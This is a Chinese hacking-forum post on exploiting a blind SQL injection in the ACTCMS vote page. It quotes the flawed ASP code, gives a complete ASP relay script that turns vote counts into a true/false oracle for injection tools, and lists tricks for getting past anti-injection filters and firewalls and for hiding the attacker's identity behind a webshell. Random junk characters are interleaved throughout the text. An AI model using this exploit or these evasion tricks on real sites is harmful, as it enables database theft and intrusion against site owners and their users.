2 b- I/ i' ^- }看到ninty大牛的blog的一篇文章 V9 Z6 O8 [, O B# u( [# e8 j' Z
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]- B6 b" ~* B' i7 t
关于actcms漏洞的利用 by 3x qq:381862589! m" c* x! h: V2 Y$ {; W4 L4 V: p& \
转载请注明以上
& c4 ~! ` W7 z7 q+ H) r# F$ r漏洞文件:' t" v; D) R; _
/plus/vote/vote.asp
8 O9 f( _: N/ d# Y2 O代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 3 V- ?/ i9 P# r* _3 P0 N
* H$ `5 w5 n' d# C' p* ~2 response.write "<script>alert('请选择投票项目。');window.close()</script>" , p% M/ q( ~# B! b0 _% g
% h* |7 j8 @/ X1 n9 W, c3 ^9 B3 response.end
( O( C& X: `, n8 h/ b/ p9 K/ _' d9 l9 h* B0 g; G6 ~
4 end if 3 o* y3 d; |2 I
: |& y6 T$ K. I0 S6 Z7 A5 for i=1 to request("voted").count 2 t" \+ w) T" z9 W* S' Y
1 k* l$ U" R( o. J
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) - R: A( {0 S+ r9 L2 L
) q9 n6 i2 R) @% @8 D7 next
( u) j, R7 Y' y9 N2 Y$ {2 [! a& P
5 u# P7 N# A. e7 l+ h8....
7 P3 q: K- ]# ]7 f: F4 D8 g0 ^% A1 |) D! o% u
9response.Redirect "index.asp?id="&id&""
/ F. [+ ]7 ?. y" {& o投票结束回跳转回index.asp这个投票结果页面7 F# }5 P/ t- V- U. m% Y! g# g
如果投票成功票数加1
% d' g+ |& N n; o M& }6 C 失败票数不变
# S0 F! D) {5 h. Z4 ?如图:1 D* m5 ^% F, l* m
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
. f! D, l2 v J) N! d
3 _+ N7 E; k" {# l. {/ I+ r: L! E2009-12-27 13:20
% ]" \3 O0 \, D" e1 b! t9 {( D" z+ p: j& A
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
" s2 d. n% F- p) S' g% E" I. V0 m# k; H! W u4 s/ y
本帖隐藏的内容需要回复才可以浏览
8 O7 Z. O& Z& y" A0 X0 p2 |( E" p我们用注入中转来实现这个注入具体代码如下:8 P$ u- n7 R% u
先用寂寞的刺猬大牛的注入中转生成jmget.asp
+ H7 c1 I' Z. S p注入地址:http://localhost/actcms/plus/vote/vote.asp
: c# F* ^* e" O- h+ k) L注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
4 R) n7 p! b. `! r+ p @$ e
5 W% N5 l* M+ ~- t然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
: `6 \) k2 D+ G% x3 E# g7 R, _6 m2 _; V6 c
02JmdcwName=request("jmdcw")
" J/ V% z& w, F" V- N
' Q& J( {0 O8 c" h5 w03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
% W# u3 _, h( z" {$ F) Y5 t; R' e# y1 Y
04JmStr="id=1&voted=-1 or 1="&JmdcwName
9 f% N* B8 O0 v! r1 i$ ~- }7 v5 V7 d4 _/ G* @! T8 K* n; G
05JmStr=URLEncoding(JmStr) . S0 G6 I0 b2 K Y
- `5 `* G+ J. u3 Q) e
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp", m2 z# x6 w, s4 X
, g0 t* C) R$ m1 J( x( `- h! |
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"1 X1 B2 O+ m9 H0 S4 M/ v) F, m8 J. h: L
: a8 r J' ~, _+ O2 A1 M
08testurl=testurl & "?" & JmStr $ v7 c. B4 W$ m
3 ^/ l9 y* z9 ^6 s% r! }; p09JMUrl=JMUrl & "?" & JmStr $ f B. S! H: S9 `( u
7 o4 U. `- P) W. e7 _& V% |10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
7 o" _# M5 a6 E
2 j2 n! X L& K, M11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"9 F2 B0 N J% O: M8 i
$ R: V9 e6 t: D! \7 M- s1 ~
12JmCok=replace(JmCok,chr(32),"%20") ! o0 q3 r4 ^1 Y6 D% ?
# S& i- w" [, ~9 Y7 |13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
. e7 b% G2 K' y$ k2 j8 U0 y* s; h, W1 l$ P
14
' k, D6 ]! C& T3 o) R6 O4 K* t, ]9 d6 d, C% B
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
6 e0 Q; f( z' F, m1 j9 W
1 M8 a: E9 t1 `) ^2 t- ~% N1 [16 " e Z& `* N8 _4 I
4 k3 Q6 h) _2 l7 V/ K0 D( Y17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
- Y9 _% j3 U2 X B" Q
0 M' h, o8 ~9 W18response.write test1&""&test2&""
. Q- c- v; g0 n$ `1 }0 o S+ J5 T9 V/ r6 P# L/ a1 ?/ M* I' B
19 2 I5 S4 p6 b2 C6 r3 r0 n4 s. ]
( r8 w+ s+ W3 B* ~; v; A0 {7 @9 V$ t
20if test1=test2 then '如前后记录相等,表示失败 % V/ u1 \3 p& b& G
8 F, j0 I: D% N v' q$ W21 response.write "failed" x! U- F) H* v6 T" t1 H
% h0 y4 G6 T* G S
22else ; j/ \- Z5 j1 R) @4 i
6 x# i S& H: n' E% t23 response.write "succeed"
^6 K7 U5 n5 J, p5 c
@; c: m, m9 V# `5 i8 @( @24end if
' D" R0 i( u/ K$ N+ T+ D8 W9 j; \4 d5 Q$ @; f' |. ~: l C& W- ]
25 + u* ^0 q& u* C f
h% y* j2 a: A* ?( ^: H" M1 L
26response.write "by 3x"$ J% b: Y7 O' b; m/ ]6 ~
- q D4 o9 e U* n8 y# E
27 ! K( }: }: f3 T C
& G! G/ X' k: {' Q28
) g0 {; L1 u4 r/ C2 A5 z9 R& y
q/ f E* V& f; p& g29Function PostData(PostUrl,PostStr,PostCok,PostRef)
8 O/ Q) x3 G/ `. G) y! `8 A2 Y4 c7 H6 @
30Dim Http + t: H1 R. l; V. H1 F
1 t& f- \: M; t, @1 B
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
8 K D4 M- o- o+ a$ {) w/ W6 h8 |1 N2 l1 ^' D3 t! ~
32With Http
1 s3 V5 H! Z* v. [2 ]# n
+ ]& `% [/ D7 Q1 n* }* c( {3 M33
5 z; H. E# j9 c$ I, e
$ n3 e* j( _8 b; Z: r5 \5 P4 |34.Open "GET",PostUrl,False, }. t3 R- T; a; h% V0 K
) U8 I/ `' m& F7 ^1 F, B
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"9 {# z( B7 w9 K6 e: M' ~& q
, d9 N4 x6 n, j, y* Z$ O36.SetRequestHeader "Referer",PostRef 1 i8 X1 n/ Z& |; q) r' @# s& m. z
) E+ {6 z% s. O" _- P {1 s3 f37.SetRequestHeader "Cookie",PostCok
! R% R: d a% E0 K6 S+ Q7 g+ Q+ e( x
% N5 f5 |7 q% k* [; N5 Z- [2 a0 O38.Send ()
: O9 P [! K4 y
1 o! u2 N% i& f- ^" ^39PostData = .ResponseBody
- F$ Q) S' G: ^7 h: u3 X4 x3 ?& l4 j4 t% v, V! A+ J
40End With
+ c+ O: ^/ o7 h, r, C3 @
: A" t* j! T: k8 x1 l41Set Http = Nothing2 ]2 {* v: X- ~* ~# I3 \. Z. W
5 P0 F% Y6 } E- z$ s; ]42PostData =bytes2BSTR(PostData) & R/ c( ^ v c( i& C- z8 o
5 e$ u) E7 v- O7 f
43End Function) }7 M+ {! _; t% v+ n+ \
$ v3 O3 ?4 V8 K8 R
44
+ G# l$ O* {4 U4 B3 r. c+ v+ ?0 U1 O2 q" p3 d$ j
45 6 [) f1 f; l: e7 o; G
5 L/ r* p; }9 l; i! Q; W" u0 \# E46Function bytes2BSTR(vIn)
4 ~- H& I; b% q: E( t2 r5 x; K c V$ @3 S
47Dim strReturn
0 G4 e- c6 R( B
& ?4 D# [$ d' l' V& S b/ C48Dim I, ThisCharCode, NextCharCode
' H! M1 N- F: @* O# v, F) k7 \6 {) K1 S- [( x
49strReturn = ""* n: ~, F! F& t6 q c& B
6 S! o0 v/ \+ J/ f5 k50For I = 1 To LenB(vIn) ( g3 I" l |& d3 m% }( v
& c! X: v8 S$ ?8 h, ?' y
51ThisCharCode = AscB(MidB(vIn, I, 1))
8 \4 I4 J# E& t; O1 Q) j$ D0 W5 d) t8 B v3 f0 M( K
52If ThisCharCode < &H80 Then& H6 J4 b9 c! B, N. v+ t( P) O) c5 k
. _2 {) Y8 p, j53strReturn = strReturn & Chr(ThisCharCode) ( ~0 I6 q6 j: s! B
0 a3 W7 S& P- Q. W$ @$ F
54Else
& m' s! b; @. j; N* m" K" _: [
7 w5 d, i3 n) T6 |# y55NextCharCode = AscB(MidB(vIn, I + 1, 1)) + F+ P: U' d8 F4 q* C* h- t
, ~5 \' H3 P; c3 c9 O! s) v* n56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
4 c+ D \" E; U* A* \5 v6 t5 x5 v: B1 Y
57I = I + 1 4 j$ m( W+ L" M, E7 N' h' l
* ~. E! ], L l6 J0 a+ K58End If
8 `; c6 M1 L7 K9 L) [* t& P+ ?1 F# T y3 w
59Next2 u q. s8 I% B. {0 W( U" ?- ~
/ B4 f) S+ s( I" [( N6 H60bytes2BSTR = strReturn
1 ~4 z5 u# E8 ?0 x% G/ Q' K2 ]/ Y2 G1 i& T% e" O+ o7 O
61End Function
; X" b- W. S* ]# b6 E4 k, i5 B) s8 v2 m% E/ w
62
M' D" s% T1 c- b- F# d" C' X( n
63Function URLEncoding(vstrin) 3 E0 e0 b& S, k x% G6 S
& M& T, s b3 r4 m64strReturn=""
5 }3 B; m5 b5 q- K" @3 o7 u4 Z; u8 F( ?/ h3 Y0 k, M- G
65Dim i
b1 _; L4 b+ |7 V" H
' x1 d9 r# o4 E$ B4 O66For i=1 To Len(vstrin) 5 B$ b* e- @, a9 z
: U" P5 Q! z7 _- S5 |0 B; }67ThisChr=Mid(vstrin,i,1)
* r$ i& K; C* M% f% j1 _/ A' z8 K
0 C [* r7 c2 n$ H, z. Y% n68if Abs(Asc(ThisChr))< &HFF Then% V2 j7 F6 e0 i( b6 ]0 ]4 G2 x
9 i* D$ S- O5 j69strReturn=strReturn & ThisChr
: y! x" F. ~6 y" X, @4 ^! R+ Z2 `3 H, W$ r5 S( U1 N
70Else
: U3 `; U/ d7 t# u# V6 Q# z4 E5 R# `7 p
71InnerCode=Asc(ThisChr) : c7 ?! ] v0 R7 j$ p; b
# C8 K( l& v1 m; o1 x- R
72If InnerCode<0 Then
+ p0 C& d, q9 U: ^) e2 y" t$ H, @% y3 p) g+ v5 j
73InnerCode=InnerCode + &H10000
8 _7 S$ T) t0 R$ W$ q5 I, t
8 b0 R0 y9 y0 d. \74End If: u' u) G4 a2 v/ q3 K; C
& \5 k/ Q2 z* P0 U7 b3 ^+ l75Hight1=(InnerCode And &HFF00) \&HFF ; Y' [$ d. h7 ^2 Y
" e5 ^9 L. j3 ~( X" H$ g76Low1=InnerCode And &HFF
( e! J, j6 W* p2 G/ v, p# _% `& H; a$ ?: P9 D
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) , X# `; L; B6 n. q( H4 A
e/ h: v; y% B" D) ^
78End if % R/ F3 G `6 D; Q- i; p; z
" F& x- ?" [( X1 |79Next
1 @' W, ?, u$ E" i9 g9 F+ @7 a9 ]) L% G6 S/ u7 P+ y( ]* E5 V
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
) K U$ j0 w6 l1 |3 X! _5 {! i0 c* b1 y- C% \- F' j
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 % C( j( U4 Y( a
* T. M8 V7 g6 a& s82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
7 `$ Q6 S; d1 d) a
8 j+ `( W5 y8 m; x" l, O+ W83URLEncoding=strReturn
5 c& T! \" C) x; {0 Q/ X- g% C% B4 u7 f N6 S7 b0 }9 `3 w
84End Function
; `2 Q9 L; u/ P1 H; }+ E2 U7 |7 r# h8 y; `& ]% ~
85 1 O/ H5 w% w& r; @: s
0 a: P4 b7 |; K86function getSt(body)
' p5 O3 c1 L- X5 y* Y5 j" Q& Q b: a$ W) \ u! ]
87 startpot=instr(body,"投票人数:")+len("投票人数:")
$ U* x) H1 G1 t. y9 X j6 \' @4 [2 S% r5 u: t* T4 P
88 endpot=instr(startpot,body," ") : O8 U0 ~+ B$ r! p
5 C5 ^5 Q# o7 `% ?$ t, K O" u
89 getSt=mid(body,startpot,endpot-startpot)
7 q2 z# W- u# a+ }$ [" Y N) N5 m5 j' ~6 X4 `7 r; T" d! U
90end function ' q% z( Z2 E; O& `! Y
! K1 T4 q& G" v. ~
91%>
0 X" v* q& e7 P' u3 }$ o i1 g注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了8 I* b3 X7 z+ E: k2 M
测试下效果:
8 N" L w6 X+ A$ W4 G5 V" j9 ] m7 y( r投票成功:/ s; r' Y* Q% V
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)2 g# c9 a1 a- U4 {: e# M: ?2 ]
% k3 k7 I6 @6 R) }% j& _2 c
2009-12-27 13:299 \- j4 ?( e) L0 [3 O
投票失败
, c1 X7 u( U0 m( q2 }http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)$ C- Y2 w4 t& J" T4 k- a
! y- e4 W! x" t6 v2 n# _! X2009-12-27 13:29% `- g* i, s2 O+ _9 o* F# ~
-------------------------------------------------------------------------------( g- u% ]3 _% F
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
5 R, E* L8 Z1 v9 h很抱歉。。。只能用单线程工具去注入。。。。。7 O! n# r) ]8 `: A$ Q0 W1 L1 T( B
所以失败。。。不好意思。。。
3 w7 a3 c: h1 s. B* {$ K-------------------------------------------------------------------------------
/ Q/ X' q) O" b5 a8 q, s! }0 f9 l' a+ i+ `2 u
注入中转的一些其他应用
' O) E: T& r5 L7 _$ z6 ]其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了, H1 ]3 t. |5 E& }; |& d: ?
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
- ?1 M9 M2 m ?2.post注入转成get型的注入,方便我们使用工具来跑; Z- L6 N9 g: m9 L }7 c+ q: u
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")/ B! I+ O- A9 ^: K" O
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
0 ?, d0 Z- P% O$ ?2 S; B# s, _' i# d6 J% w" [! s" x1 T, W
|